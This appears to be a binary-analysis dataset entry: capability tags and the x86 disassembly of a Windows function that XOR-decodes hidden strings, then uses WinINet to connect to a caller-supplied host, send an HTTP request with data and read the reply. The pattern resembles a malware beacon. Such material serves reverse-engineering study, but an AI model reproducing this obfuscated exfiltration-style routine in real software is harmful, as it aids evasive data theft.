Function at 0x40d390
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x28b8
call fcn.004136b0
push ebx
mov eax, edx
mov dword [ebp - 0x38], 0xf
push esi
mov esi, eax
mov dword [ebp - 0x50], eax
push edi
mov edi, ecx
mov dword [ebp - 0x3c], 0
mov byte [ebp - 0x4c], 0
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x40d3c0
mov al, 0x2b
mov dword [ebp - 0x30], 0x440066
sub esi, ecx
mov byte [ebp - 0x32], al
mov dword [ebp - 0x2c], 0x420051
xor ecx, ecx
mov dword [ebp - 0x28], 0x470047
mov dword [ebp - 0x24], 0x4004a
mov dword [ebp - 0x20], 0x5001e
mov dword [ebp - 0x1c], 0x1b
nop word [eax + eax]
cbw
xor word [ebp + ecx*2 - 0x30], ax
inc ecx
cmp ecx, 0xb
jae 0x40d412
mov al, byte [ebp - 0x32]
jmp 0x40d400
xor eax, eax
push eax
push eax
push eax
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x30]
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
mov dword [ebp - 0x14], ebx
push 0
test ebx, ebx
jne 0x40d46c
mov dword [edi + 0x14], 0xf
mov ecx, edi
mov dword [edi + 0x10], eax
push 0x43b500
mov byte [edi], al
call fcn.00407390
mov eax, dword [ebp - 0x38]
cmp eax, 0x10
jb 0x40d712
inc eax
lea ecx, [ebp - 0x4c]
push eax
push dword [ebp - 0x4c]
call fcn.004079b0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp + 8]
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40d4bc
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x43b500
mov ecx, edi
call fcn.00406e80
mov eax, dword [ebp - 0x38]
cmp eax, 0x10
jb 0x40d712
inc eax
lea ecx, [ebp - 0x4c]
push eax
push dword [ebp - 0x4c]
call fcn.004079b0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x43b8d0]
xor ecx, ecx
movups xmmword [ebp - 0x64], xmm0
nop dword [eax]
mov al, byte [ebp - 0x64]
xor byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 0xe
jb 0x40d4d0
push 0
push 0
mov ah, 0x34
mov byte [ebp - 5], 0
push 0
mov al, 0x64
mov byte [ebp - 0xa], ah
xor al, ah
mov byte [ebp - 0x55], 0
push 0
mov cl, 0x7b
mov byte [ebp - 9], al
mov dl, 0x67
mov byte [ebp - 5], 0
mov bl, 0x60
xor cl, ah
xor bl, ah
mov byte [ebp - 8], cl
xor dl, ah
mov byte [ebp - 6], bl
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 0x63]
push 0
push eax
lea eax, [ebp - 9]
mov byte [ebp - 7], dl
push eax
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x54], eax
test eax, eax
jne 0x40d540
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push dword [ebp - 0x14]
call esi
jmp 0x40d48e
movaps xmm0, xmmword [0x43b990]
xor ecx, ecx
movups xmmword [ebp - 0x95], xmm0
mov byte [ebp - 0x65], 0
movaps xmm0, xmmword [0x43b9d0]
movups xmmword [ebp - 0x85], xmm0
movaps xmm0, xmmword [0x43b950]
movups xmmword [ebp - 0x75], xmm0
nop dword [eax]
mov al, byte [ebp - 0x95]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0x2f
jb 0x40d570
lea ebx, [ebp - 0x94]
mov byte [ebp - 0x65], 0
lea ecx, [ebx + 1]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x40d590
movaps xmm0, xmmword [0x43bab0]
sub ebx, ecx
movups xmmword [ebp - 0x95], xmm0
xor ecx, ecx
mov byte [ebp - 0x65], al
movaps xmm0, xmmword [0x43bb00]
movups xmmword [ebp - 0x85], xmm0
movaps xmm0, xmmword [0x43ba90]
movups xmmword [ebp - 0x75], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x95]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0x2f
jb 0x40d5d0
lea eax, [ebp - 0x94]
mov byte [ebp - 0x65], 0
push eax
lea ecx, [ebp - 0xb0]
call fcn.00406e80
cmp dword [eax + 0x14], 0x10
jb 0x40d601
mov eax, dword [eax]
push esi
push dword [ebp - 0x50]
push ebx
mov ebx, dword [ebp - 0x54]
push eax
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov ecx, dword [ebp - 0x9c]
mov esi, eax
cmp ecx, 0x10
jb 0x40d631
inc ecx
push ecx
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xb0]
call fcn.004079b0
test esi, esi
jne 0x40d665
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x14]
call esi
push 0x43b500
mov ecx, edi
call fcn.00406e80
lea ecx, [ebp - 0x4c]
call fcn.00406d60
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x18]
push eax
push 0x27ff
lea eax, [ebp - 0x28b4]
push eax
push ebx
call esi
test eax, eax
je 0x40d6d7
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40d6d7
mov byte [ebp + eax - 0x28b4], 0
cmp byte [ebp - 0x28b4], 0
jne 0x40d69e
xor eax, eax
jmp 0x40d6b0
lea eax, [ebp - 0x28b4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d6a7
sub eax, edx
push eax
lea eax, [ebp - 0x28b4]
push eax
lea ecx, [ebp - 0x4c]
call fcn.004075c0
lea eax, [ebp - 0x18]
push eax
push 0x27ff
lea eax, [ebp - 0x28b4]
push eax
push ebx
call esi
test eax, eax
jne 0x40d682
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x14]
call esi
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x4c]
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], 0
mov ecx, edi
push eax
mov byte [edi], 0
call fcn.00407490
lea ecx, [ebp - 0x4c]
call fcn.00406d60
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret